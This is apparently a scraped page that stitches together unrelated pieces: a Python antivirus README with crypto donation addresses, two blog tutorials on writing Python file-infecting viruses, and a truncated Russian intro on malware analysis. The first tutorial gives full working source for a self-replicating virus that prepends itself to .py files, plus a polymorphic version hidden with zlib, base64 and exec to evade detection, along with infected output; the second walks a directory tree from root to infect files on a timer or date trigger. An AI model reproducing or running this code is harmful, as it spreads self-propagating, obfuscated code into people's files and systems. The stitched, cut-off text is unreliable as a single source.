Python-Antivirus-v2
A simple antivirus coded in python capable of scanning selected files and deleting files that it detects as infected. This antivirus uses a large list of MD5, SHA1 and SHA256 malware hashes (many of which coming from this repo — https://github.com/Len-Stevens/MD5-Malware-Hashes) to determine infections. However as this project progresses I would like to implement machine learning detection with the long term goal of becoming a fully functioning antivirus.
Thank You!
NOTE:
when you install qt-material pls go to;
you_Python_dirLibsite-packagesqt_material
and replace material.css.template
with this File! (else Gui will be broken!)
Gui
Dark mode
Light mode
Donate Crypto
[BTC];bc1qz5q86hrj4n983vxey3mxrrd7227ueacdfz56c9
[ETH];0x1556536283e5d3A8EA790A2d79266ffec9d7d684
[DOGE];DHBgSnHnHRVWSnbigfAYvPuwWQG1yLxmvH
[LTC];LbnYUMif4PPD1rBGLTWJZ23BQ3jyt884Gn
[SHIB];0x1556536283e5d3A8EA790A2d79266ffec9d7d684
[SOL];LBrSZa5hcXgTPjrPKrx4Cp6QafpZ98TkwZWfAi6p3o3
[CAKE];0x1556536283e5d3A8EA790A2d79266ffec9d7d684
devs
14 minute read
I was relaxing on a beach during my summer leave when I received a mail from a reader that asked me if it is technically possible to write a virus using Python.
The short answer: YES.
The longer answer: yes, BUT…
Let’s start by saying that viruses are a little bit anachronistic in 2021… nowadays other kinds of malware (like worms for example) are far more common than viruses. Moreover, modern operative systems are more secure and less prone to be infected than MS-DOS or Windows 95 were (sorry Microsoft…) and people are more aware of the risk of malware in general.
Moreover, to write a computer virus, probably Python is not the best choice at all. It’s an interpreted language and so it needs an interpreter to be executed. Yes, you can embed an interpreter to your virus but your resulting virus will be heavier and a little clunky… let’s be clear, to write a virus probably other languages that can work to a lower level and that can be compiled are probably a better choice and that’s why in the old days it was very common to see viruses written in C or Assembly.
That said, it is still possible to write computer viruses in Python, and in this article, you will have a practical demonstration.
I met my first computer virus in 1988. I was playing an old CGA platform game with my friend Alex, that owned a wonderful Olivetti M24 computer (yes, I’m THAT old…) when the program froze and a little ball started to go around the screen. We had never seen anything like that before and so we didn’t know it back then, but we were facing the Ping-Pong virus one of the most famous and common viruses ever… at least here in Italy.
Now, before start, you know I have to write a little disclaimer.
This article will show you that a computer virus in Python is possible and even easy to be written. However, I am NOT encouraging you to write a computer virus (neither in Python nor in ANY OTHER LANGUAGES), and I want to remember you that HARMING AN IT SYSTEM IS A CRIME!
Now, we can proceed.
According to Wikipedia…
a computer virus is a computer program that, when executed, replicates itself by modifying other computer programs and inserting its own code. If this replication succeeds, the affected areas are then said to be “infected” with a computer virus, a metaphor derived from biological viruses.
That means that our main goal when writing a virus is to create a program that can spread around and replicate infecting other files, usually bringing a “payload”, which is a malicious function that we want to execute on the target system.
Usually, a computer virus does is made by three parts:
- The infection vector: this part is responsible to find a target and propagates to this target
- The trigger: this is the condition that once met execute the payload
- The payload: the malicious function that the virus carries around
Let’s start coding.
try:
# retrieve the virus code from the current infected script
virus_code = get_virus_code()
# look for other files to infect
for file in find_files_to_infect():
infect(file, virus_code)
# call the payload
summon_chaos()
# except:
# pass
finally:
# delete used names from memory
for i in list(globals().keys()):
if(i[0] != '_'):
exec('del {}'.format(i))
del i
Let’s analyze this code.
First of all, we call the get_virus_code()
function, which returns the source code of the virus taken from the current script.
Then, the find_files_to_infect()
function will return the list of files that can be infected and for each file returned, the virus will spread the infection.
After the infection took place, we just call the summon_chaos()
function, that is — as suggested by its name — the payload function with the malware code.
That’s it, quite simple uh?
Obviously, everything has been inserted in a try-except
block, so that to be sure that exceptions on our virus code are trapped and ignored by the pass
statement in the except
block.
The finally
block is the last part of the virus, and its goal is to remove used names from memory so that to be sure to have no impact on how the infected script works.
Okay, now we need to implement the stub functions we have just created!
Let’s start with the first one: the get_virus_code()
function.
To get the current virus code, we will simply read the current script and get what we find between two defined comments.
For example:
def get_content_of_file(file):
data = None
with open(file, "r") as my_file:
data = my_file.readlines()
return data
def get_virus_code():
virus_code_on = False
virus_code = []
code = get_content_of_file(__file__)
for line in code:
if "# begin-virusn" in line:
virus_code_on = True
if virus_code_on:
virus_code.append(line)
if "# end-virusn" in line:
virus_code_on = False
break
return virus_code
Now, let’s implement the find_files_to_infect()
function. Here we will write a simple function that returns all the *.py
files in the current directory. Easy enough to be tested and… safe enough so as not to damage our current system!
import glob
def find_files_to_infect(directory = "."):
return [file for file in glob.glob("*.py")]
This routine could also be a good candidate to be written with a generator. What? You don’t know generators? Let’s have a look at this interesting article then!
And once we have the list of files to be infected, we need the infection function. In our case, we will just write our virus at the beginning of the file we want to infect, like this:
def get_content_if_infectable(file):
data = get_content_of_file(file)
for line in data:
if "# begin-virus" in line:
return None
return data
def infect(file, virus_code):
if (data:=get_content_if_infectable(file)):
with open(file, "w") as infected_file:
infected_file.write("".join(virus_code))
infected_file.writelines(data)
Now, all we need is to add the payload. Since we don’t want to do anything that can harm the system, let’s just create a function that prints out something to the console.
def summon_chaos():
# the virus payload
print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")
Ok, our virus is ready! Let’s see the full source code:
# begin-virus
import glob
def find_files_to_infect(directory = "."):
return [file for file in glob.glob("*.py")]
def get_content_of_file(file):
data = None
with open(file, "r") as my_file:
data = my_file.readlines()
return data
def get_content_if_infectable(file):
data = get_content_of_file(file)
for line in data:
if "# begin-virus" in line:
return None
return data
def infect(file, virus_code):
if (data:=get_content_if_infectable(file)):
with open(file, "w") as infected_file:
infected_file.write("".join(virus_code))
infected_file.writelines(data)
def get_virus_code():
virus_code_on = False
virus_code = []
code = get_content_of_file(__file__)
for line in code:
if "# begin-virusn" in line:
virus_code_on = True
if virus_code_on:
virus_code.append(line)
if "# end-virusn" in line:
virus_code_on = False
break
return virus_code
def summon_chaos():
# the virus payload
print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")
# entry point
try:
# retrieve the virus code from the current infected script
virus_code = get_virus_code()
# look for other files to infect
for file in find_files_to_infect():
infect(file, virus_code)
# call the payload
summon_chaos()
# except:
# pass
finally:
# delete used names from memory
for i in list(globals().keys()):
if(i[0] != '_'):
exec('del {}'.format(i))
del i
# end-virus
Let’s try it putting this virus in a directory with just another .py
file and let see if the infection starts. Our victim will be a simple program named [numbers.py](http://numbers.py)
that returns some random numbers, like this:
# numbers.py
import random
random.seed()
for _ in range(10):
print (random.randint(0,100))
When this program is executed it returns 10 numbers between 0 and 100, super useful! LOL!
Now, in the same directory, I have my virus. Let’s execute it:
/playgrounds/python/first ❯ python ./first.py 02:30:42 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured
As you can see, our virus has started and has executed the payload. Everything is fine, but what happened to our [numbers.py](http://numbers.py)
file? It should be the victim of the infection, so let’s see its code now.
# begin-virus
import glob
def find_files_to_infect(directory = "."):
return [file for file in glob.glob("*.py")]
def get_content_of_file(file):
data = None
with open(file, "r") as my_file:
data = my_file.readlines()
return data
def get_content_if_infectable(file):
data = get_content_of_file(file)
for line in data:
if "# begin-virus" in line:
return None
return data
def infect(file, virus_code):
if (data:=get_content_if_infectable(file)):
with open(file, "w") as infected_file:
infected_file.write("".join(virus_code))
infected_file.writelines(data)
def get_virus_code():
virus_code_on = False
virus_code = []
code = get_content_of_file(__file__)
for line in code:
if "# begin-virusn" in line:
virus_code_on = True
if virus_code_on:
virus_code.append(line)
if "# end-virusn" in line:
virus_code_on = False
break
return virus_code
def summon_chaos():
# the virus payload
print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")
# entry point
try:
# retrieve the virus code from the current infected script
virus_code = get_virus_code()
# look for other files to infect
for file in find_files_to_infect():
infect(file, virus_code)
# call the payload
summon_chaos()
# except:
# pass
finally:
# delete used names from memory
for i in list(globals().keys()):
if(i[0] != '_'):
exec('del {}'.format(i))
del i
# end-virus
# numbers.py
import random
random.seed()
for _ in range(10):
print (random.randint(0,100))
And as expected, now we have our virus before the real code.
Let’s create another .py
file in the same directory, just a simple “hello world” program:
/playgrounds/python/first ❯ echo 'print("hello world")' > hello.py
and now, let’s execute the [numbers.py](http://numbers.py)
program:
/playgrounds/python/first ❯ python numbers.py 02:35:12 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured
35
43
89
37
92
71
4
21
83
47
As you can see, the program still does whatever it was expected to do (extract some random numbers) but only after having executed our virus, which has spread to other *.py
files in the same directory and has executed the payload function. Now, if you look at the [hello.py](http://hello.py)
file, you will see that it has been infected as well, as we can see running it:
/playgrounds/python/first ❯ python hello.py 02:40:01 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured
hello world
Trying to hide the virus code a little more
Now, even if this virus could be potentially dangerous, it is easily detectable. You don’t have to be Sherlock Holmes to recognize a virus that is written in plain text and starts with # begin-virus
, right?
So what can we do to make it a little harder to find?
Not much more, since we’re writing it in Python and Python is an interpreted language… however, maybe we can still do something.
For example, wouldn’t it be better if we could consider as infected any single file that contains the md5 hash of its name as a comment?
Our virus could start with something like # begin-78ea1850f48d1c1802f388db81698fd0
and end with something like # end-78ea1850f48d1c1802f388db81698fd0
and that would be different for any infected file, making it more difficult to find all the infected files on the system.
So our get_content_if_infectable()
function could be modified like this:
def get_content_if_infectable(file, hash):
# return the content of a file only if it hasn't been infected yet
data = get_content_of_file(file)
for line in data:
if hash in line:
return None
return data
Obviously, before calling it you should calculate the hash of the file you’re going to infect like this:
hash = hashlib.md5(file.encode("utf-8")).hexdigest()
and also the get_virus_code()
function should be modified to look for the current script hash:
def get_virus_code():
# open the current file and returns the virus code, that is the code between the
# begin-{hash} and the end-{hash} tags
virus_code_on = False
virus_code = []
virus_hash = hashlib.md5(os.path.basename(__file__).encode("utf-8")).hexdigest()
code = get_content_of_file(__file__)
for line in code:
if "# begin-" + virus_hash in line:
virus_code_on = True
if virus_code_on:
virus_code.append(line + "n")
if "# end-" + virus_hash in line:
virus_code_on = False
break
return virus_code
And what about our virus source code? Can it be obfuscated somehow to be a little less easy to spot?
Well, we could try to obscure it by making it different every time we infect a new file, then we can compress it by using the zlib
library and converting it in base64
format. We could just pass our plain text virus to a new transform_and_obscure_virus_code()
function like this:
def obscure(data: bytes) -> bytes:
# obscure a stream of bytes compressing it and encoding it in base64
return base64.urlsafe_b64encode(zlib.compress(data, 9))
def transform_and_obscure_virus_code(virus_code):
# transforms the virus code adding some randomic contents, compressing it and converting it in base64
new_virus_code = []
for line in virus_code:
new_virus_code.append("# "+ str(random.randrange(1000000))+ "n")
new_virus_code.append(line + "n")
obscured_virus_code = obscure(bytes("".join(new_virus_code), 'utf-8'))
return obscured_virus_code
Obviously, when you obscure your virus compressing it and encoding it in base64 the code is not executable anymore, so you will have to transform it to the original state before executing it. This will be done in the infect
method, by using the exec statement like this:
def infect(file, virus_code):
# infect a single file. The routine opens the file and if it's not been infected yet, infect the file with a custom version of the virus code
hash = hashlib.md5(file.encode("utf-8")).hexdigest()
if (data:=get_content_if_infectable(file, hash)):
obscured_virus_code = transform_and_obscure_virus_code(virus_code)
viral_vector = "exec("import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode("+str(obscured_virus_code)+")))")"
with open(file, "w") as infected_file:
infected_file.write("n# begin-"+ hash + "n" + viral_vector + "n# end-" + hash + "n")
infected_file.writelines(data)
The complete source code of our new virus could be similar to this:
# ################
# chaos.py
# a Python virus
# ###############
# begin-78ea1850f48d1c1802f388db81698fd0
import base64
import glob
import hashlib
import inspect
import os
import random
import zlib
def get_content_of_file(file):
data = None
# return the content of a file
with open(file, "r") as my_file:
data = my_file.readlines()
return data
def get_content_if_infectable(file, hash):
# return the content of a file only if it hasn't been infected yet
data = get_content_of_file(file)
for line in data:
if hash in line:
return None
return data
def obscure(data: bytes) -> bytes:
# obscure a stream of bytes compressing it and encoding it in base64
return base64.urlsafe_b64encode(zlib.compress(data, 9))
def transform_and_obscure_virus_code(virus_code):
# transforms the virus code adding some randomic contents, compressing it and converting it in base64
new_virus_code = []
for line in virus_code:
new_virus_code.append("# "+ str(random.randrange(1000000))+ "n")
new_virus_code.append(line + "n")
obscured_virus_code = obscure(bytes("".join(new_virus_code), 'utf-8'))
return obscured_virus_code
def find_files_to_infect(directory = "."):
# find other files that can potentially be infected
return [file for file in glob.glob("*.py")]
def summon_chaos():
# the virus payload
print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")
def infect(file, virus_code):
# infect a single file. The routine open the file and if it's not been infected yet, infect the file with a custom version of the virus code
hash = hashlib.md5(file.encode("utf-8")).hexdigest()
if (data:=get_content_if_infectable(file, hash)):
obscured_virus_code = transform_and_obscure_virus_code(virus_code)
viral_vector = "exec("import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode("+str(obscured_virus_code)+")))")"
with open(file, "w") as infected_file:
infected_file.write("n# begin-"+ hash + "n" + viral_vector + "n# end-" + hash + "n")
infected_file.writelines(data)
def get_virus_code():
# open the current file and returns the virus code, that is the code between the
# begin-{hash} and the end-{hash} tags
virus_code_on = False
virus_code = []
virus_hash = hashlib.md5(os.path.basename(__file__).encode("utf-8")).hexdigest()
code = get_content_of_file(__file__)
for line in code:
if "# begin-" + virus_hash in line:
virus_code_on = True
if virus_code_on:
virus_code.append(line + "n")
if "# end-" + virus_hash in line:
virus_code_on = False
break
return virus_code
# entry point
try:
# retrieve the virus code from the current infected script
virus_code = get_virus_code()
# look for other files to infect
for file in find_files_to_infect():
infect(file, virus_code)
# call the payload
summon_chaos()
except:
pass
finally:
# delete used names from memory
for i in list(globals().keys()):
if(i[0] != '_'):
exec('del {}'.format(i))
del i
# end-78ea1850f48d1c1802f388db81698fd0
Now, let’s try this new virus in another directory with the uninfected version of [numbers.py](http://numbers.py)
and [hello.py](http://hello.py)
, and let’s see what happens.
/playgrounds/python/chaos ❯ python chaos.py 03:09:52 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured
Executing the virus we have the same behavior as we had before, but our infected files are now a little different than before… This is [numbers.py](http://numbers.py)
:
# begin-661bb45509227577d3693829a1e1cb33
exec("import zlibnimport base64nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWMty47oRXUtfgdALkxkNC2-AU-Uss8zqVmUxvsWiRNBmLJEqkhqPc-v-expAk5JsOZmoaqwHmo2Dfpw-mDtSWM6MWt-RrXtqu6_GuopZRRtpa7ZjlvJGWFtvLdOFbWq6XoOpKKhldh0-S8YMtev2cOyHiWyr0WkZFhjjtFDzwtO-38afjTF2-fm5Gp_3bVzRtDCsmFfabjy63RRWOKXMsnmlH-OP1moj5h-Hqqv7A6IT0sp54d-ze2WE0iyCVkxxIda1a8iTm8pd302um8q-KZt271L_J_sW4SpBpVyv6mqqyAP5R9-5uLtmUuo1gdcdGdx0GjoyPTuCrkjfkIp4PxESV0KJ9eq1nZ5Jf3Rd2GJDkiHJSDWSw1vY-BsaF5SB8bwnLuaDq-p927kxzYKdKYQymAUutdR2vUIk_kmMqTFw6FX4YgvOBf9w6rYp266BWFdbPPsm5AUjYFRhDf-Fk5K-27-RtiFtyGt3D-XgXEeic1eTNxfTWVhhuF1i-mkGcHsuaBFPWRjFqFqvmn4gPhLgOhw1ApVC2QLcrgCCx-9XvRVGVUtmC1idY7SkUiomuI47CKoKfiOO4FowtNFaWSZDGPvtuDsNLg0gyPZtcmNGvv4tfkJUWkhNMXxoDwEbJ0jnwQcv2EI0D8fBjWPbPfn4QTUT1-36Gr_DUS5aq2CSSht8ItC4mJ-G_Vg1rtxqGZ52qS__fHYecG5IkWXYoaLgGFoF4QGX_lAT9NIIIT6UgKJEyOWPdjiNZfB5_jiXCBdmKZHl8TGUSTAm3phUdTjO2B8c9mu7m8to3NwKASz-cMN0MwhCMs6hGDr3egEO6un773HdckPFdbGc7RC4VApSv3rnJK-O0KN1mtyR5ItPVRrh5v4N_j25lNHwyrIvJHnskrlWNYXK-MxdQHFpr5meGUly4DMoPAx3fX2kuc5CraRJkv-rb7v0epdsQ-5PU_PV3mN6_dEKs9TyDc-RFXShgKdjRUjKIKa-CpoWku_bcCynHgkirdsB3vrhDTAleTJzJMwLINzVXXiI9JD2ITCCr4BqIruqI8feZ7mt9kARW3fmBEwVcJlekH4PbOLzFj5A3vz0yP2fNPlrfnxLsphiXTAuJXIDDDLDAvTxdDj0Xbl7rnrgSsTIgf2ox3guymP1tu-rOsafSuUhHIe2m9Lkn1Ct0Kdju3vZkOa0ewGopyPW5OG4b3cVoH_s0C5stSGvzp818B4JscY8c8qNwT4TnsQCTIxpJNwPPWW14L4g7tDOcwb0gQ-MHwbkNzjG0J8mX1N-ooRzhXh5kIGF70fS9TdIeDO7XB4Jc6kCzOPUHwi03Nj2nSen6w5e5i4EKjDswzzA80Otwkly5J0klGKSZfmz-1m3T26ccGzJAgTAzDpUURAfnrEjhz780mDCEBUm0ODqk6b5f3gMBwFgAzQrWKj25Y9Q6r7S3U-3Sx-TC0Xx-NhdKR74HowC3dZuIdyPvOwXfXy-eFq5ATz7AkHLHpMswd6ygvMYLaNBwHi2-iAjXqOMmJN8KSYol9yLidXVYv46tBOgeOxm4QdEF1Ia-QneroIQfr2DkVR_9WsXlljhShf0s22iaPH5RWPGKGDC1rBnRXKRG0wxjCXOlO-CpcYhYIPXHUutR9Z4P202kXvaEcUKlMTWTa8ueon0oZjhxjuPIfjDH-vP4NM_4w-LP03VUxSdoIKDHDwjLaFRHsjfq_2IdKqoFvbS4jySNKUwZbH0DVfSzHY3uqkf82M1Pee-hLrq4NIyhLQss__dYwyo0ADb4fa3FNbiLSITwOCob2Ag-KRcDc7zyPQsy1BlJUvxxHqZD3IlvCSMFyDm1epD0H4bTg4FIehBpARNrZXo_-qBbwhUKiqvvX06X5lmBc5XYaURZ9hzIX8GGsYRC1TwXzLN4XJUBChb0HIv8Tl4jOGWhQLlrJap9m7sGg4yn2ItgHY32BAwTGW4j0GyYM4eYdBPs1iwVMwpYoWSazDANqFwOOYrGTYbWvfDvddezQDEftk-y0AYd0N7xHuWUSCw39Xu-8ZEWhFUY8ZAkrPYRvu-fwlz-0oC9LhXRGotU6jK5ul-U2rMBGAZ12Y988rHaRnjYUWh8CoEMkoY7eHsQG2EM18OemWVgdCtrkUCyoliuSFyuFwptXY_d-44oYSAIlUA5ViNSAZFAZSMydb-6rCGo3iJs1xImA7kVbu9mxw5jRBv38tjzMfBHUBLxefhymdpjEsbaxG62UseqLc0y1_cG7xhUODGziSk2wvutknb7_R38pcHcl_enxUZj8v-FSbTPWAgf_x5n_uJWE1piyoRigrcoQilBlQHXMzAtJ3litZ2vjRrDjeZ2Dy_8P8E_wH6PJBm')))")
# end-661bb45509227577d3693829a1e1cb33
# numbers.py
import random
random.seed()
for _ in range(10):
print (random.randint(0,100))
and this is
# begin-8d35108ffe2ad173a697734a3e9938e1
exec("import zlibnimport base64nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWEtv20YQPku_YksfTDUKwX3vFnCPPfYUoIc4IChxabOWSIGk4rhB_3tn9iFLfrSpgVgydzj8ZuabmY-5IlaUVJvlFdm4u67_qI2rqZFlK0xDt9SUrOXGNBtDlTVtUy6XYGqUNlQs_XeqBVd62e0PwziTTT05JfwBo1zRdP1uN2z8VcWsNiJdvq-n-123iY7gBptOun46uO0cPCkuGEsnw-QvCqv46bFj3TfDPrhRQojTwV_Ju7WA0wbIRjOm5LJxLblzc7Ud-tn1czW0VdvtXI6_Vr94S62FgXAWTT3X5Ib8PvTOX-faYNAEfq7I6Obj2JP53pHoigwtqQn6CfitltQsF4_dfE-Gg-v9I9YkG7MVqSeyf_IPDo-kEKphy0V6ZjwsRlc3u653U76KASlZxhrIUlGqlouIBO8MydaUgs0iYDbSQtFeRt21Vde3kOp6E2Nf-7LEDFBemvIHAiVDv3siXUs6X9X-GrjgXE-Cb9eQJxeKKaSxUMwU3rsFCJXipjSxaFJCAMtFO4wE8wCefaABpmSGWg1ZAwSIHk_RKpxyJa2FexcpQ6dCMq41sDRRRJX8dRalYUKV0UZorplP4rCZtsfR5R4E2TzNblqRj7-Gb-G5SjCpVcxetId8TTMUc4-587aQzP1hdNPU9XeYPuAycf12aOLfEMpZWxkpUkUi0HBYHMfdVLeu2ijh73Y5kr9Izj3ONbGrkFltKaYzBFUa8IgxzdBIE2R4XwGIKiKuvnbjcaq8y-evkR9cWF6mEE-3T54k3pigMakbH8007F1s1m6bSDSt38oAHH514_xmDii1JVRk0bvHM3DAps9fQsWgqEpdcuXZLgBnWmkkzKWPoj5AfzZ5dkWyD1ioPKAt8AP-3bmclv5ntfpAsts-C-nkVmuj3nXnQZzbS0qljumnMIGBg4uY7uYypEQzT5U8y4o_h67PLx-zWpPr49x-NNexulaX1jxT-Q3PwcxwbmVAoQ0wm3oWtB0UH5twquYhToe86Ub4GMYnwJQVWSq_VUbCg678TWSAso9-HiAD6pls654cBqxyV-9gQGzc80SIpWJMihPSz36WYN38F6gbbo4Cf-XZz8XhKVt9ia1VKpXmOewmrjz06bjfD321va8HGJSx0qWMGJ9JeaifdkPdxJVkGNRicRi7fs6zP4Ct0KZTt31Yk_a4fQCox0Pk5P6w67Y1oL_to51_1Jo8OozVTz3icx0LzWDhmYhTc-i5kOKY1DBuXzWVkQZ7HBAHO5wZ0AiYGVwF5BPEMQ7HGVmF-8QH5hOGKP0Qvp5IP7wxg9fJ5ekWv5VqAD3Nw55Az03d0ONwumzhEEHJYXAsF37E3qT1Xewb6UMp4uDJPBmz1aq4d9-a7s5Nc9xaRkCt4iyVVnIoG47sMERvfmgvpdWsDGNAnHfa5v9MsrhDYSLgjoCDeld99WRHrrtvbpvfZmeC4va2v5A78Lc38vO2caeJ-3ow4yHm5wNOljeArz5A0la32SoLmEQpYKvFTqO6xAnzSkU8BhWRqnymJTSIBCFx710cFo9jNwOK2z6pPph1vqRhRMHHRRL81SvYSc1HPDuzTMNPMvneY4JmwfoGY-hbwSMDmGXCmJMkOatOLLK1QjDfuieaQ8pGVB4nuofJ8XLjrMP86aYoV4AUGzc_uuAlqlgJcxydhyR8x8D-9j7xHgw3XprruykuDa5K4P8z0gp65Yb8Vu-m4JRKwTk7tzhbS0YoEWeB0tKKZPZGOw1Tcajn-wI51Nd7l1c-p1W1-u8mg66iHOoRn_6WxDp5izwDEZT2gKKgcS535_PWxNrhKTZtdmJPIEwK5EJ6WcgG99LrZc4-jceYstIqGlUeaHqQ3MH_xQ1xlHNjcZSfe3t3x0IpTNpuSiqmTrATk98DrSXz1v9SZ2ENQ5yLDWi5h_A8q0AeplcMKDA9rbUXe1dSZniyBDmnIkpuBLQr4pthzx5g0c-JLMJGlSo1Z8AcMAhYhfIaeeHl-di5r-6l9mpHmOvnrXPaB9N27A7xHYuDCnzJ25dNGUWD5FJFwMxvXnj4bhge_N6-kABDfFZ8IdSGlYFZabu_KTVS8xvQJF7Tv7Mso3oSHCgRyabhNQ_hbEFt-JgvFr2C_gOHlyIhHYn0pkEhPpAk7tvWHeYoczSscZQI9TTFbQGX4tuXshLU1hJCQYkT-6QUQD5E0ridmx05TpBvbOQp1GPv9qClgnMJwkuEvHSBiNDKKHmAbfmqeHBP8JHex2DpYcZRcHdt3n0uv5Cfbsh1dZ0MhKHMBgP88ZvpGlCQ739fF7gR6znv0lsAcLZkkYggkzj0Fpp2IQjIrYqpNajyQ-f8wH8R_APeFJAZ')))")
# end-8d35108ffe2ad173a697734a3e9938e1
print("hello world")
Look at that, it’s not so easy to be read now, right? And every infection is different than the other one! Moreover, every time the infection is propagated, the compressed byte64 virus is compressed and encoded again and again.
And this is just a simple example of what one could do… for example, the virus could open the target and put this piece of code at the beginning of a random function, not always at the beginning of the file, or put it in another file and make just a call to this file with a malicious import
statement or so…
To sum up
In this article, we have seen that writing a computer virus in Python is a trivial operation, and even if it’s probably not the best language to be used for writing viruses… it’s worth keeping your eyes wide open, especially on a production server.
Happy coding!
D.
Did you find this article helpful?
Buy me a coffee!
6 minute read
Sometimes we find our files being infected with a computer virus
. In this tutorial, we will get introduced to the concept of a virus by writing a simple one in Python.
First thing first, let’s get introduced to the definition of a computer virus. A virus is a typical malware program that infects a particular type of file or most files by injecting data or code. It tries to list files in all directories and then inject typical data/code in those files.
Point to be noted; a virus does not replicate itself. It just continuously infects all files in the directories/folders. The malware that replicates itself and consumes hard disk space is typically called a Worm
.
If you are interested to write other types of malwares, you can go through my previous posts:
- Write a Backdoor in Python
- Write a Worm (Malware) in Python
- A Basic Keylogger in Python
Okay, now, let’s get started writing one.
Requirements
To write a simple virus, we will use the following modules.
import os
import datetime
import pathlib
import time
os
module
Here, module os
is the most important one as it will help us to list all the files along with the absolute path. An absolute path starts with the root directory /
. For example, if my current working directory is Downloads
and there is file named hi.txt
inside a subfolder named test_sub
. Then
absolute path: /Users/roy/Downloads/test_sub/hi.txt
relative path: test_sub/hi.txt
Absolute path is necessary here as while working with numerous files you must know the exact location. Using filenames only, your script do not know where to look for that files.
pathlib
module
Here, we use pathlib
to retrive the extension of a file. It can be done in multiple ways though, so you may not find this module necessary at all.
datetime
and time
datetime
and time
is used only for the start time of execution. If you want the script to start working right now, you may not need these modules as well.
Virus Class
The initializer method
Now, lets create a virus class that accepts four arguments when it is called.
class Virus:
def __init__(self, infect_string=None, path=None,
extension=None, target_file_list=None):
if isinstance(infect_string, type(None)):
self.infect_string = "I am a Virus"
else:
self.infect_string = infect_string
if isinstance(path, type(None)):
self.path = "/"
else:
self.path = path
if isinstance(extension, type(None)):
self.extension = ".py"
else:
self.extension = extension
if isinstance(target_file_list, type(None)):
self.target_file_list = []
else:
self.target_file_list = target_file_list
Here, the infect_string
will be used to insert in a file. If the user does not provide an input, the default value is “I am a Virus”.
By default the path
is set to be the root directory /
. From here, it will browse all subdirectories and files. However, the user can provide a target path as well.
User can define target file extension
. If not, the default is set to be python files .py
.
User can also provide the target_file_list
that conatains all the listed target files. If None
, the constructor method set it as an empty list.
Btw, if you are wondering that why the code looks a bit ugly, you can use the following as well.
class Virus:
def __init__(self, infect_string="I am a Virus", path="/",
extension=".py", target_file_list=[]):
self.infect_string = infect_string
self.path = path
self.extension = extension
self.target_file_list = target_file_list
I just prefer the earlier way to set all default values inside the constructor method. However, the latter is a lot easier to understand and use.
Method to list all target files
here we use another mthod named list_files
that lists all files within directories and subdirectories given an initial path.
def list_files(self, path):
files_in_current_directory = os.listdir(path)
for file in files_in_current_directory:
# avoid hidden files/directories (start with dot (.))
if not file.startswith('.'):
# get the full path
absolute_path = os.path.join(path, file)
# check the extension
file_extension = pathlib.Path(absolute_path).suffix
# check if it is a directory
if os.path.isdir(absolute_path):
self.target_file_list.extend(self.list_files(absolute_path))
# check if the target file extension matches
elif file_extension == self.extension:
is_infected = False
with open(absolute_path) as f:
for line in f:
if self.infect_string in line:
self.is_infected = True
break
if is_infected == False:
self.target_file_list.append(absolute_path)
else:
pass
here, in the method we did the followings:
- list all files in the current working directory
- iterate over all files and do the followings
- only consider visible files (avoid hidden files, e.g., starts with dot
.
in Unix-based systems) - get the absolute path using
os.path.join
- retrieve the file extension using
pathlib.Path
- check if it is a directory using
os.path.isdir
(if yes, call the same function and pass the path to continue digging deeper, in coding world it is called a**recursive function**
) - Check if the extension matches with target extension (if yes, check whether it is already infected by looking for the string in the file; if string not found, append to the list).
- only consider visible files (avoid hidden files, e.g., starts with dot
Method to infect the files
Here, we will add another method that can infect (insert/prepend) the string in the given filename.
def infect(self, file_abs_path):
if os.path.basename(file_abs_path) != "virus.py":
try:
f = open(file_abs_path, 'r')
data = f.read()
f.close()
virus = open(file_abs_path, 'w')
virus.write(self.infect_string + "n" + data )
virus.close()
except Exception as e:
print(e)
else:
pass
To prepend the self.infect_string
, we first read the whole file and keep the contents in a variable data
; then add our string before the data and write to the file.
point to be noted, in this example as we are using python files, we need to exclude our own file, right? :zany_face:
that’s why I exclude the filename there in the very first condition.
Final method that integrates everything
Now, we can first define when to start our virus.
- Do you want to set a timer (e.g., 60 seconds), then provide input to the
timer
while calling this method. - Do you want to set a date (e.g., someone’s birthday), then provide input to the
target_date
while calling this method.
And, then our primary mission begins.
- List all target files by calling the
list_files
method - For each file, insert the string using the
infect
method
okay, so, here is our code
def start_virus_infections(self, timer=None, target_date=None):
if not isinstance(timer, type(None)):
time.sleep(timer)
self.list_files(self.path)
for target in self.target_file_list:
self.infect(target)
elif not isinstance(target_date, type(None)):
today = str(datetime.datetime.today())[:10]
if str(target_date) == today:
self.list_files(self.path)
for target in self.target_file_list:
self.infect(target)
else:
print("User must provide either a timer or a date using datetime.date()")
Main Function
Now, let’s create our main function and run the code
if __name__ == "__main__":
current_directory = os.path.abspath("")
virus = Virus(path=current_directory)
# virus.start_virus_infections(target_date=datetime.date(2021,6,1))
virus.start_virus_infections(timer=5)
# print(virus.target_file_list)
Here, we first create an object of the class. And then call the start_virus_infections
method with providing a timer or a date. To avoid hassle, use os.path.abspath("")
, which refers to the current directory only so that you do not get hurt with inserting the string in other necessary python codes you wrote before.
Testing
To have a easier testing environment, create a few python files in the same directory and check if your virus is able to insert the string to those files. To make things easier, run the following code to create three python files (create a seperate script).
if __name__ == '__main__':
filenames = ["test1.py", "test2.py", "test3.py"]
data = 'print("hello")n'
for file in filenames:
f = open(file, "w")
f.write(data)
f.close()
Both codes are available in GitHub.
that’s all folks, you can look at other security concept tutorials in python. I have created a repository for that. I am planning to provide security concepts by writing python codes. Please feel free to put a star if you like the repository.
https://github.com/shantoroy/intro-2-cybersecurity-in-python
Also, the associated blog post links are available in the ReadMe
file over there.
Have a good day! Cheers!!!
References
- Viruses – From Newbie to pro
- os- Miscellaneous operating system interfaces
В сегодняшней статье я покажу, как написать программу на Python для анализа вирусов и других вредоносных программ.
Еще по теме:
- Сбор информации о системе удаленно с помощью Python
- Как написать шифровальщик на Python
- Как написать троян на Python
Отслеживать процессы будем с помощью механизма WMI. Это делается достаточно просто:
